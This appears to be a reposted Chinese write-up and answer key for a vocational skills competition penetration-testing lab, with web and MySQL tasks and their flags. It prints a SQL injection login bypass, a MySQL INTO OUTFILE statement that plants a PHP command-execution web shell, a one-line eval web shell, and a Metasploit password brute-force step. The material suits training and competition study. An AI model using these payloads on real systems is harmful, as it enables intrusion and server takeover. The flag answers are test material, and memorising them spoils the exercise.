[大数据] 全国职业院校技能大赛网络安全之web；mysql安全之综合渗透测试

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> 大数据 -> 全国职业院校技能大赛网络安全之web；mysql安全之综合渗透测试 -> 正文阅读

[大数据]全国职业院校技能大赛网络安全之web；mysql安全之综合渗透测试

最近新建了一个比赛讨论群，有意的可以进一下，扣扣群号为809706080

通过URL访问http://靶机IP/1，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；
flag{htmlcode}
通过URL访问http://靶机IP/2，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；
flag{vimbakswp}
通过URL访问http://靶机IP/3，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；

flag{spider}

4.通过URL访问http://靶机IP/4，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；
在这里插入图片描述
flag{sqlinject1}

5通过URL访问http://靶机IP/5，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；
用户名 admin 密码 ‘or’1’=’1
在这里插入图片描述
flag{wannengpwd}

通过URL访问http://靶机IP/6，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交；

在这里插入图片描述
flag{ipsrc}

MYSQL安全之综合渗透测试
1.利用渗透机场景kali中的工具确定MySQL的端口，将MySQL端口作为Flag值提交；
Flag:3358
在这里插入图片描述

2.管理者曾在web界面登陆数据库，并执行了select ‘<?php echo \'

\';system($_GET[\'cmd\']); echo \'

\'; ?>’ INTO OUTFILE 'C:/phpstudy/test1.php’语句，结合本执行语句使用dos命令查看服务器的详细配置信息，并将服务器的系统型号作为Flag值提交；

Flag:Bochs
在这里插入图片描述

Ms17-010
在这里插入图片描述

3.利用渗透机场景kali中的msf工具使用root目录下password.txt字典文件破解MySQL的密码，并将破解MySQL的密码所需的模块当作Flag值 (账户为root) 提交;
Flag:mysql_login
在这里插入图片描述

4.利用渗透机场景kali中的msf工具使用root目录下password.txt字典文件破解MySQL的密码，并将MySQL的密码当作Flag值 (账户为root) 提交;
Flag:zxcvbnm
在这里插入图片描述

5.利用上题中的数据库账户密码在登陆数据库，通过select ‘<?php @eval($_POST[admin]);?>’************ 'C:/phpstudy/shell.php’语句向服务器提交名为shell.php的一句话木马，将语句中*号的明文作为Flag值（*为大写字母或者空格）提交；
Flag:INTO OUTFILE
可以参考第二小题
在这里插入图片描述